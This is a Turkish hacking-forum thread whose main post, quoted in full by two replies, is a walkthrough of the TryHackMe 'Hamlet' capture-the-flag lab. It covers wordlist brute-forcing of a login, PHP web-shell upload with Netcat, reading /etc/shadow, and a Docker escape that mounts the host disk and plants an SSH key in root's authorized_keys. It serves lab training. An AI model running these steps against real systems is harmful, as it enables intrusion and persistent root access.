TryHackMe | Hamlet CTF WriteUp

w1sd0m

Katılımcı Üye
28 Mar 2020
699
626
/802.1x/
TryHackMe | Hamlet CTF WriteUp by w1sd0m

HAMLET

mje6ctu.jpg


Selam dostlarım, bu gün sizlere TryHackMe'de yer alan "Hamlet" adlı zafiyetli makinenin çözümünü anlatacağım.
Makine genel hatlarıyla hoşuma gitti diyebilirim. Docker olayının işleri enteresan hale getirmesi güzel olmuş.
Keyifli okumalar dilerim.


Platform:TryHackMe
Title:Hamlet
Difficulty:Medium
Point:210
CreatedBy:Ingo


*
*
*
*
Hadi nmap taraması ile başlayalım.
ap4pzfi.png
qvy0h7a.png


Şimdi makinede birden fazla(6) flag olduğu için bulduğumuz portlara tek tek bakacağız. Dizin taraması da yaptık ve robots.txt dosyasında bir flag aldık.
Sitesine gitmeden önce ftp servisinde
misafir girişine izin varmış. Bi ona bakacağım.

8p5oy7f.png
5fxnayz.png

2 adet dosya bırakılmış. Bunlara baktığımızda ise bize bir password-policy verilmiş. WebAnno için "12-14 karakter uzunluğunda küçük harflerden oluşan bir parola" kullanıldığını söylüyor.
Muhtemelen sitedeki kullanıcılar bu policy'e göre parola oluşturdu.
Devam edelim.
ny31vox.png


Sitede bizi karşılayan bir metin var ve bir link bırakılmış. Burada dikkatimi çeken "ghost" nicki oldu. Kullanıcılardan birinin nicki sanırım. Hatta yetkili biri.
Linke bakalım.

l476ll2.png
Uzunca bir metin bulduk. Oluşturmamızı istediği wordlist için bu metinden yararlanmamızı istiyor. Hay hay...
80 portuna bakmıştık. Şimdi diğer açık olan 8080 portuna bakalım.

3cz2nxb.png


Giriş ekranını da bulduğumuza göre artık bir wordlist oluşturup giriş yapmayı deneme vakti geldi.
Basit bir python scripti ile bu işi halledebileceğimiz gibi Cewl gibi toollar ile de custom passlistler oluşturabiliriz.

Python:
#!/bin/python3

import re
import sys

args = sys.argv

if len(args) < 5:
    sys.exit('generate_wordlist.py file min_length max_length onlylowercase')

with open(args[1], 'r') as f:
    hamlet = f.read()

tokens = re.findall(r'\w+', hamlet)
types = set(tokens)

min_length = int(args[2])
max_length = int(args[3])
lowercase = args[4].lower() in ('True', 'true', '1')

if lowercase:
    words = [w for w in types if len(w) >= min_length and len(w) <= max_length and w.islower()]
else:
    words = [w for w in types if len(w) >= min_length and len(w) <= max_length]

for w in words:
    print(w)
Oluşturacağımız passwordler ile 80 portundaki metinde geçen "ghost" nickini eşleyerek giriş yapmayı deneyeceğim.
63x68jq.png
p9wbbi7.png


Ayarlarımı yaptıktan sonra saldırıma başlıyorum. Zaten fazla kelime olmadığı için kısa süreceğini düşünüyorum.
5lcn3mu.png


Yaklaşık 10 saniyelik bir süreden sonra kelimemizi bulduk ve gidip girişimizi yaptık.
Ardından Projects->Hamlet->Documents yolunu takip ederek içeri bir "php-shell" attık.
pwpvgdw.png


Sıradaki işlemim ise bir Netcat dinlemesi başlatıp shellimin yüklendiği dizine istek atmak olacak.
Sonrası Meydan Muharebesi...
hp1yb0j.png
3rizzry.png

İsteği attık, bağlantıyı yakaladık ve diğer bir flag'i de bulduk.
jvt2rhv.png
4p2wdyk.png
Peki şimdi bi yetkili komutlara bakalım işimize yarayan ne var.
"
/bin/cat" işimizi görür gibi. "/etc/shadow" dosyasını okumayı deneyelim.

2y1x6zs.png

Root kullanıcısının parolasını bulduk ve giriş yaptık. Diğer flag karşıladı bizi.
Yalnız burada bir pürüz var.

9d6wo17.png

Yazının başında bahsettiğim docker olayı da tam burada karşımıza çıkıyor. Bir docker container'in içine alınmış veriler. Bizden bu container'dan çıkmamız isteniyor. Muhtemelen 6.flag'da orada.
Ama öncesinde geride kalan ve henüz bulmadığımız 2 flag'dan biri olan
3.flag'ı bulalım. Bunun için tekrar sitede dönüp "
ghost" kullanıcısıyla giriş yaptım.
Users->Ophelia->ChancePassword yolunu takip edip parolasını değiştirdim (Eski parola felan sormadı direkt değiştirebildim) ve Ophelia olarak giriş yaptım
Ardından

Annotation->Hamlet.txt dosyasına bir göz attım.
hwetidy.png

Bize gizlenmiş bir metin verdi. Metinde Ophelia'nın parolasını unutmamak için buraya kaydettiğini gördüm.
Hadi bu parola ile
FTP bağlantısı alalım bakalım birşeyler bulabilecek miyiz?

Kod:
$ ftp 10.10.228.62
Connected to 10.10.228.62.
220 (vsFTPd 3.0.3)
Name (10.10.228.62:h3x): ophelia
331 Please specify the password.
Password:
230 Login successful.
ftp> ls
-rw-r--r--    1 1001     1001           31 Sep 16 06:19 flag
ftp> get flag flag3
local: flag3 remote: flag
100% |************************************************************|    31      308.91 KiB/s    00:00 ETA
226 Transfer complete.
31 bytes received in 00:00 (0.10 KiB/s)
ftp> exit

$ cat flag3
THM{3_i_was_the_more_deceived}

Hemen ardından 2.flag'ı de göstermek istiyorum sizlere.
Hatırlarsanız yazının başında password-policy ile bir dosya bulmuştuk. Orada bize 501 portundan bahsediyordu. Hemen oraya gidiyoruz.

6r16bgv.png

Böylece 6 hariç tüm flagleri bulduk. İşin düz kısımlarını hallettik şimdi pürüzlüye geçebiliriz.
Neden pürüzlü diye bir kelime kullanıyorum?
Çünkü buraya kadar temel bilgiler ile gelebiliyoruz. Burada bizden araştırma yapmamızı istiyor.
"
Escape from Docker Container" diye google'da aratarak biraz araştırma yapıyorum.
İşime yarayacak bir yöntem buldum.

Hadi birlikte bakalım...
Kod:
ls -la /dev | grep disk
crw-rw----  1 root disk     10, 234 Jan 24 13:25 btrfs-control
brw-rw----  1 root disk    253,   0 Jan 24 13:25 dm-0
crw-rw----  1 root disk     10, 237 Jan 24 13:25 loop-control
-------------------------------------------------------------------
mkdir /mnt/host
mount /dev/dm-0 /mnt/host

ls -l /mnt/host
total 4015216
drwxr-xr-x  2 root root       4096 Sep 15 11:24 bin
drwxr-xr-x  2 root root       4096 Sep 15 11:14 boot
drwxr-xr-x  2 root root       4096 Sep 15 11:15 cdrom
drwxr-xr-x  4 root root       4096 Aug  6  2020 dev
drwxr-xr-x 99 root root       4096 Sep 16 06:43 etc
drwxr-xr-x  5 root root       4096 Sep 15 14:41 home
lrwxrwxrwx  1 root root         34 Sep 15 11:16 initrd.img -> boot/initrd.img-4.15.0-156-generic
lrwxrwxrwx  1 root root         34 Sep 15 11:16 initrd.img.old -> boot/initrd.img-4.15.0-156-generic
drwxr-xr-x 23 root root       4096 Sep 15 11:39 lib
drwxr-xr-x  2 root root       4096 Aug  6  2020 lib64
drwx------  2 root root      16384 Sep 15 11:14 lost+found
drwxr-xr-x  2 root root       4096 Aug  6  2020 media
drwxr-xr-x  3 root root       4096 Sep 15 14:43 mnt
drwxr-xr-x  5 root root       4096 Sep 15 14:46 opt
drwxr-xr-x  2 root root       4096 Apr 24  2018 proc
drwx------  5 root root       4096 Sep 15 14:49 root
drwxr-xr-x 13 root root       4096 Aug  6  2020 run
drwxr-xr-x  2 root root      12288 Sep 15 11:39 sbin
drwxr-xr-x  2 root root       4096 Sep 15 11:31 snap
drwxr-xr-x  4 root root       4096 Sep 15 14:45 srv
-rw-------  1 root root 4111466496 Sep 15 11:16 swap.img
drwxr-xr-x  2 root root       4096 Apr 24  2018 sys
drwxrwxrwt  9 root root       4096 Jan 24 13:28 tmp
drwxr-xr-x 10 root root       4096 Aug  6  2020 usr
drwxr-xr-x 14 root root       4096 Sep 15 14:42 var
lrwxrwxrwx  1 root root         31 Sep 15 11:16 vmlinuz -> boot/vmlinuz-4.15.0-156-generic
lrwxrwxrwx  1 root root         31 Sep 15 11:16 vmlinuz.old -> boot/vmlinuz-4.15.0-156-generic

echo 'ssh-rsa {buraya kendi ssh key'imi girdim}' >> /mnt/host/root/.ssh/authorized_keys

Ardından SSH girişi ile o görünmeyen kullanıcıya geçiyorum.
15ushib.png


*
*
*
************************************************************************************************************************************************************************************************************
CTF çözerken en önemli hususlar;
-Sizi eğlendiriyor olması,
-Düşündürüyor olması,
-Araştırmak zorunda bırakıyor olması...

Evet, "
Hamlet" "William Shakespeare"in kaleme aldığı ve edebiyat&sanat dünyasına kazandırdığı önemli bir eserdi.
Bizde müptezelin birinin yaptığı zafiyetli makineyle uğraştık.

Umarım faydası olmuştur, umarım CTF çözümlerinde bir işinize yarar.
************************************************************************************************************************************************************************************************************
*
*
*

kgmwni7.jpg
 

glaucoma

Üye
2 Şub 2022
219
140
ÖTÜKEN
TryHackMe | Hamlet CTF WriteUp by w1sd0m

HAMLET

mje6ctu.jpg


Selam dostlarım, bu gün sizlere TryHackMe'de yer alan "Hamlet" adlı zafiyetli makinenin çözümünü anlatacağım.
Makine genel hatlarıyla hoşuma gitti diyebilirim. Docker olayının işleri enteresan hale getirmesi güzel olmuş.
Keyifli okumalar dilerim.


Platform:TryHackMe
Title:Hamlet
Difficulty:Medium
Point:210
CreatedBy:Ingo


*
*
*
*
Hadi nmap taraması ile başlayalım.
ap4pzfi.png
qvy0h7a.png


Şimdi makinede birden fazla(6) flag olduğu için bulduğumuz portlara tek tek bakacağız. Dizin taraması da yaptık ve robots.txt dosyasında bir flag aldık.
Sitesine gitmeden önce ftp servisinde
misafir girişine izin varmış. Bi ona bakacağım.

8p5oy7f.png
5fxnayz.png

2 adet dosya bırakılmış. Bunlara baktığımızda ise bize bir password-policy verilmiş. WebAnno için "12-14 karakter uzunluğunda küçük harflerden oluşan bir parola" kullanıldığını söylüyor.
Muhtemelen sitedeki kullanıcılar bu policy'e göre parola oluşturdu.
Devam edelim.
ny31vox.png


Sitede bizi karşılayan bir metin var ve bir link bırakılmış. Burada dikkatimi çeken "ghost" nicki oldu. Kullanıcılardan birinin nicki sanırım. Hatta yetkili biri.
Linke bakalım.

l476ll2.png
Uzunca bir metin bulduk. Oluşturmamızı istediği wordlist için bu metinden yararlanmamızı istiyor. Hay hay...
80 portuna bakmıştık. Şimdi diğer açık olan 8080 portuna bakalım.

3cz2nxb.png


Giriş ekranını da bulduğumuza göre artık bir wordlist oluşturup giriş yapmayı deneme vakti geldi.
Basit bir python scripti ile bu işi halledebileceğimiz gibi Cewl gibi toollar ile de custom passlistler oluşturabiliriz.

Python:
#!/bin/python3

import re
import sys

args = sys.argv

if len(args) < 5:
    sys.exit('generate_wordlist.py file min_length max_length onlylowercase')

with open(args[1], 'r') as f:
    hamlet = f.read()

tokens = re.findall(r'\w+', hamlet)
types = set(tokens)

min_length = int(args[2])
max_length = int(args[3])
lowercase = args[4].lower() in ('True', 'true', '1')

if lowercase:
    words = [w for w in types if len(w) >= min_length and len(w) <= max_length and w.islower()]
else:
    words = [w for w in types if len(w) >= min_length and len(w) <= max_length]

for w in words:
    print(w)
Oluşturacağımız passwordler ile 80 portundaki metinde geçen "ghost" nickini eşleyerek giriş yapmayı deneyeceğim.
63x68jq.png
p9wbbi7.png


Ayarlarımı yaptıktan sonra saldırıma başlıyorum. Zaten fazla kelime olmadığı için kısa süreceğini düşünüyorum.
5lcn3mu.png


Yaklaşık 10 saniyelik bir süreden sonra kelimemizi bulduk ve gidip girişimizi yaptık.
Ardından Projects->Hamlet->Documents yolunu takip ederek içeri bir "php-shell" attık.
pwpvgdw.png


Sıradaki işlemim ise bir Netcat dinlemesi başlatıp shellimin yüklendiği dizine istek atmak olacak.
Sonrası Meydan Muharebesi...
hp1yb0j.png
3rizzry.png

İsteği attık, bağlantıyı yakaladık ve diğer bir flag'i de bulduk.
jvt2rhv.png
4p2wdyk.png
Peki şimdi bi yetkili komutlara bakalım işimize yarayan ne var.
"
/bin/cat" işimizi görür gibi. "/etc/shadow" dosyasını okumayı deneyelim.

2y1x6zs.png

Root kullanıcısının parolasını bulduk ve giriş yaptık. Diğer flag karşıladı bizi.
Yalnız burada bir pürüz var.

9d6wo17.png

Yazının başında bahsettiğim docker olayı da tam burada karşımıza çıkıyor. Bir docker container'in içine alınmış veriler. Bizden bu container'dan çıkmamız isteniyor. Muhtemelen 6.flag'da orada.
Ama öncesinde geride kalan ve henüz bulmadığımız 2 flag'dan biri olan
3.flag'ı bulalım. Bunun için tekrar sitede dönüp "
ghost" kullanıcısıyla giriş yaptım.
Users->Ophelia->ChancePassword yolunu takip edip parolasını değiştirdim (Eski parola felan sormadı direkt değiştirebildim) ve Ophelia olarak giriş yaptım
Ardından

Annotation->Hamlet.txt dosyasına bir göz attım.
hwetidy.png

Bize gizlenmiş bir metin verdi. Metinde Ophelia'nın parolasını unutmamak için buraya kaydettiğini gördüm.
Hadi bu parola ile
FTP bağlantısı alalım bakalım birşeyler bulabilecek miyiz?

Kod:
$ ftp 10.10.228.62
Connected to 10.10.228.62.
220 (vsFTPd 3.0.3)
Name (10.10.228.62:h3x): ophelia
331 Please specify the password.
Password:
230 Login successful.
ftp> ls
-rw-r--r--    1 1001     1001           31 Sep 16 06:19 flag
ftp> get flag flag3
local: flag3 remote: flag
100% |************************************************************|    31      308.91 KiB/s    00:00 ETA
226 Transfer complete.
31 bytes received in 00:00 (0.10 KiB/s)
ftp> exit

$ cat flag3
THM{3_i_was_the_more_deceived}

Hemen ardından 2.flag'ı de göstermek istiyorum sizlere.
Hatırlarsanız yazının başında password-policy ile bir dosya bulmuştuk. Orada bize 501 portundan bahsediyordu. Hemen oraya gidiyoruz.

6r16bgv.png

Böylece 6 hariç tüm flagleri bulduk. İşin düz kısımlarını hallettik şimdi pürüzlüye geçebiliriz.
Neden pürüzlü diye bir kelime kullanıyorum?
Çünkü buraya kadar temel bilgiler ile gelebiliyoruz. Burada bizden araştırma yapmamızı istiyor.
"
Escape from Docker Container" diye google'da aratarak biraz araştırma yapıyorum.
İşime yarayacak bir yöntem buldum.

Hadi birlikte bakalım...
Kod:
ls -la /dev | grep disk
crw-rw----  1 root disk     10, 234 Jan 24 13:25 btrfs-control
brw-rw----  1 root disk    253,   0 Jan 24 13:25 dm-0
crw-rw----  1 root disk     10, 237 Jan 24 13:25 loop-control
-------------------------------------------------------------------
mkdir /mnt/host
mount /dev/dm-0 /mnt/host

ls -l /mnt/host
total 4015216
drwxr-xr-x  2 root root       4096 Sep 15 11:24 bin
drwxr-xr-x  2 root root       4096 Sep 15 11:14 boot
drwxr-xr-x  2 root root       4096 Sep 15 11:15 cdrom
drwxr-xr-x  4 root root       4096 Aug  6  2020 dev
drwxr-xr-x 99 root root       4096 Sep 16 06:43 etc
drwxr-xr-x  5 root root       4096 Sep 15 14:41 home
lrwxrwxrwx  1 root root         34 Sep 15 11:16 initrd.img -> boot/initrd.img-4.15.0-156-generic
lrwxrwxrwx  1 root root         34 Sep 15 11:16 initrd.img.old -> boot/initrd.img-4.15.0-156-generic
drwxr-xr-x 23 root root       4096 Sep 15 11:39 lib
drwxr-xr-x  2 root root       4096 Aug  6  2020 lib64
drwx------  2 root root      16384 Sep 15 11:14 lost+found
drwxr-xr-x  2 root root       4096 Aug  6  2020 media
drwxr-xr-x  3 root root       4096 Sep 15 14:43 mnt
drwxr-xr-x  5 root root       4096 Sep 15 14:46 opt
drwxr-xr-x  2 root root       4096 Apr 24  2018 proc
drwx------  5 root root       4096 Sep 15 14:49 root
drwxr-xr-x 13 root root       4096 Aug  6  2020 run
drwxr-xr-x  2 root root      12288 Sep 15 11:39 sbin
drwxr-xr-x  2 root root       4096 Sep 15 11:31 snap
drwxr-xr-x  4 root root       4096 Sep 15 14:45 srv
-rw-------  1 root root 4111466496 Sep 15 11:16 swap.img
drwxr-xr-x  2 root root       4096 Apr 24  2018 sys
drwxrwxrwt  9 root root       4096 Jan 24 13:28 tmp
drwxr-xr-x 10 root root       4096 Aug  6  2020 usr
drwxr-xr-x 14 root root       4096 Sep 15 14:42 var
lrwxrwxrwx  1 root root         31 Sep 15 11:16 vmlinuz -> boot/vmlinuz-4.15.0-156-generic
lrwxrwxrwx  1 root root         31 Sep 15 11:16 vmlinuz.old -> boot/vmlinuz-4.15.0-156-generic

echo 'ssh-rsa {buraya kendi ssh key'imi girdim}' >> /mnt/host/root/.ssh/authorized_keys

Ardından SSH girişi ile o görünmeyen kullanıcıya geçiyorum.
15ushib.png


*
*
*
************************************************************************************************************************************************************************************************************
CTF çözerken en önemli hususlar;
-Sizi eğlendiriyor olması,
-Düşündürüyor olması,
-Araştırmak zorunda bırakıyor olması...

Evet, "
Hamlet" "William Shakespeare"in kaleme aldığı ve edebiyat&sanat dünyasına kazandırdığı önemli bir eserdi.
Bizde müptezelin birinin yaptığı zafiyetli makineyle uğraştık.

Umarım faydası olmuştur, umarım CTF çözümlerinde bir işinize yarar.
************************************************************************************************************************************************************************************************************
*
*
*

kgmwni7.jpg
ellerine sağlık
 

UreX

Yeni üye
26 Haz 2019
47
14
Botnet
TryHackMe | Hamlet CTF WriteUp by w1sd0m

HAMLET

mje6ctu.jpg


Selam dostlarım, bu gün sizlere TryHackMe'de yer alan "Hamlet" adlı zafiyetli makinenin çözümünü anlatacağım.
Makine genel hatlarıyla hoşuma gitti diyebilirim. Docker olayının işleri enteresan hale getirmesi güzel olmuş.
Keyifli okumalar dilerim.


Platform:TryHackMe
Title:Hamlet
Difficulty:Medium
Point:210
CreatedBy:Ingo


*
*
*
*
Hadi nmap taraması ile başlayalım.
ap4pzfi.png
qvy0h7a.png


Şimdi makinede birden fazla(6) flag olduğu için bulduğumuz portlara tek tek bakacağız. Dizin taraması da yaptık ve robots.txt dosyasında bir flag aldık.
Sitesine gitmeden önce ftp servisinde
misafir girişine izin varmış. Bi ona bakacağım.

8p5oy7f.png
5fxnayz.png

2 adet dosya bırakılmış. Bunlara baktığımızda ise bize bir password-policy verilmiş. WebAnno için "12-14 karakter uzunluğunda küçük harflerden oluşan bir parola" kullanıldığını söylüyor.
Muhtemelen sitedeki kullanıcılar bu policy'e göre parola oluşturdu.
Devam edelim.
ny31vox.png


Sitede bizi karşılayan bir metin var ve bir link bırakılmış. Burada dikkatimi çeken "ghost" nicki oldu. Kullanıcılardan birinin nicki sanırım. Hatta yetkili biri.
Linke bakalım.

l476ll2.png
Uzunca bir metin bulduk. Oluşturmamızı istediği wordlist için bu metinden yararlanmamızı istiyor. Hay hay...
80 portuna bakmıştık. Şimdi diğer açık olan 8080 portuna bakalım.

3cz2nxb.png


Giriş ekranını da bulduğumuza göre artık bir wordlist oluşturup giriş yapmayı deneme vakti geldi.
Basit bir python scripti ile bu işi halledebileceğimiz gibi Cewl gibi toollar ile de custom passlistler oluşturabiliriz.

Python:
#!/bin/python3

import re
import sys

args = sys.argv

if len(args) < 5:
    sys.exit('generate_wordlist.py file min_length max_length onlylowercase')

with open(args[1], 'r') as f:
    hamlet = f.read()

tokens = re.findall(r'\w+', hamlet)
types = set(tokens)

min_length = int(args[2])
max_length = int(args[3])
lowercase = args[4].lower() in ('True', 'true', '1')

if lowercase:
    words = [w for w in types if len(w) >= min_length and len(w) <= max_length and w.islower()]
else:
    words = [w for w in types if len(w) >= min_length and len(w) <= max_length]

for w in words:
    print(w)
Oluşturacağımız passwordler ile 80 portundaki metinde geçen "ghost" nickini eşleyerek giriş yapmayı deneyeceğim.
63x68jq.png
p9wbbi7.png


Ayarlarımı yaptıktan sonra saldırıma başlıyorum. Zaten fazla kelime olmadığı için kısa süreceğini düşünüyorum.
5lcn3mu.png


Yaklaşık 10 saniyelik bir süreden sonra kelimemizi bulduk ve gidip girişimizi yaptık.
Ardından Projects->Hamlet->Documents yolunu takip ederek içeri bir "php-shell" attık.
pwpvgdw.png


Sıradaki işlemim ise bir Netcat dinlemesi başlatıp shellimin yüklendiği dizine istek atmak olacak.
Sonrası Meydan Muharebesi...
hp1yb0j.png
3rizzry.png

İsteği attık, bağlantıyı yakaladık ve diğer bir flag'i de bulduk.
jvt2rhv.png
4p2wdyk.png
Peki şimdi bi yetkili komutlara bakalım işimize yarayan ne var.
"
/bin/cat" işimizi görür gibi. "/etc/shadow" dosyasını okumayı deneyelim.

2y1x6zs.png

Root kullanıcısının parolasını bulduk ve giriş yaptık. Diğer flag karşıladı bizi.
Yalnız burada bir pürüz var.

9d6wo17.png

Yazının başında bahsettiğim docker olayı da tam burada karşımıza çıkıyor. Bir docker container'in içine alınmış veriler. Bizden bu container'dan çıkmamız isteniyor. Muhtemelen 6.flag'da orada.
Ama öncesinde geride kalan ve henüz bulmadığımız 2 flag'dan biri olan
3.flag'ı bulalım. Bunun için tekrar sitede dönüp "
ghost" kullanıcısıyla giriş yaptım.
Users->Ophelia->ChancePassword yolunu takip edip parolasını değiştirdim (Eski parola felan sormadı direkt değiştirebildim) ve Ophelia olarak giriş yaptım
Ardından

Annotation->Hamlet.txt dosyasına bir göz attım.
hwetidy.png

Bize gizlenmiş bir metin verdi. Metinde Ophelia'nın parolasını unutmamak için buraya kaydettiğini gördüm.
Hadi bu parola ile
FTP bağlantısı alalım bakalım birşeyler bulabilecek miyiz?

Kod:
$ ftp 10.10.228.62
Connected to 10.10.228.62.
220 (vsFTPd 3.0.3)
Name (10.10.228.62:h3x): ophelia
331 Please specify the password.
Password:
230 Login successful.
ftp> ls
-rw-r--r--    1 1001     1001           31 Sep 16 06:19 flag
ftp> get flag flag3
local: flag3 remote: flag
100% |************************************************************|    31      308.91 KiB/s    00:00 ETA
226 Transfer complete.
31 bytes received in 00:00 (0.10 KiB/s)
ftp> exit

$ cat flag3
THM{3_i_was_the_more_deceived}

Hemen ardından 2.flag'ı de göstermek istiyorum sizlere.
Hatırlarsanız yazının başında password-policy ile bir dosya bulmuştuk. Orada bize 501 portundan bahsediyordu. Hemen oraya gidiyoruz.

6r16bgv.png

Böylece 6 hariç tüm flagleri bulduk. İşin düz kısımlarını hallettik şimdi pürüzlüye geçebiliriz.
Neden pürüzlü diye bir kelime kullanıyorum?
Çünkü buraya kadar temel bilgiler ile gelebiliyoruz. Burada bizden araştırma yapmamızı istiyor.
"
Escape from Docker Container" diye google'da aratarak biraz araştırma yapıyorum.
İşime yarayacak bir yöntem buldum.

Hadi birlikte bakalım...
Kod:
ls -la /dev | grep disk
crw-rw----  1 root disk     10, 234 Jan 24 13:25 btrfs-control
brw-rw----  1 root disk    253,   0 Jan 24 13:25 dm-0
crw-rw----  1 root disk     10, 237 Jan 24 13:25 loop-control
-------------------------------------------------------------------
mkdir /mnt/host
mount /dev/dm-0 /mnt/host

ls -l /mnt/host
total 4015216
drwxr-xr-x  2 root root       4096 Sep 15 11:24 bin
drwxr-xr-x  2 root root       4096 Sep 15 11:14 boot
drwxr-xr-x  2 root root       4096 Sep 15 11:15 cdrom
drwxr-xr-x  4 root root       4096 Aug  6  2020 dev
drwxr-xr-x 99 root root       4096 Sep 16 06:43 etc
drwxr-xr-x  5 root root       4096 Sep 15 14:41 home
lrwxrwxrwx  1 root root         34 Sep 15 11:16 initrd.img -> boot/initrd.img-4.15.0-156-generic
lrwxrwxrwx  1 root root         34 Sep 15 11:16 initrd.img.old -> boot/initrd.img-4.15.0-156-generic
drwxr-xr-x 23 root root       4096 Sep 15 11:39 lib
drwxr-xr-x  2 root root       4096 Aug  6  2020 lib64
drwx------  2 root root      16384 Sep 15 11:14 lost+found
drwxr-xr-x  2 root root       4096 Aug  6  2020 media
drwxr-xr-x  3 root root       4096 Sep 15 14:43 mnt
drwxr-xr-x  5 root root       4096 Sep 15 14:46 opt
drwxr-xr-x  2 root root       4096 Apr 24  2018 proc
drwx------  5 root root       4096 Sep 15 14:49 root
drwxr-xr-x 13 root root       4096 Aug  6  2020 run
drwxr-xr-x  2 root root      12288 Sep 15 11:39 sbin
drwxr-xr-x  2 root root       4096 Sep 15 11:31 snap
drwxr-xr-x  4 root root       4096 Sep 15 14:45 srv
-rw-------  1 root root 4111466496 Sep 15 11:16 swap.img
drwxr-xr-x  2 root root       4096 Apr 24  2018 sys
drwxrwxrwt  9 root root       4096 Jan 24 13:28 tmp
drwxr-xr-x 10 root root       4096 Aug  6  2020 usr
drwxr-xr-x 14 root root       4096 Sep 15 14:42 var
lrwxrwxrwx  1 root root         31 Sep 15 11:16 vmlinuz -> boot/vmlinuz-4.15.0-156-generic
lrwxrwxrwx  1 root root         31 Sep 15 11:16 vmlinuz.old -> boot/vmlinuz-4.15.0-156-generic

echo 'ssh-rsa {buraya kendi ssh key'imi girdim}' >> /mnt/host/root/.ssh/authorized_keys

Ardından SSH girişi ile o görünmeyen kullanıcıya geçiyorum.
15ushib.png


*
*
*
************************************************************************************************************************************************************************************************************
CTF çözerken en önemli hususlar;
-Sizi eğlendiriyor olması,
-Düşündürüyor olması,
-Araştırmak zorunda bırakıyor olması...

Evet, "
Hamlet" "William Shakespeare"in kaleme aldığı ve edebiyat&sanat dünyasına kazandırdığı önemli bir eserdi.
Bizde müptezelin birinin yaptığı zafiyetli makineyle uğraştık.

Umarım faydası olmuştur, umarım CTF çözümlerinde bir işinize yarar.
************************************************************************************************************************************************************************************************************
*
*
*

kgmwni7.jpg
Başarılı, boş bir vaktimde bakıcağım detaylı olarak.
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.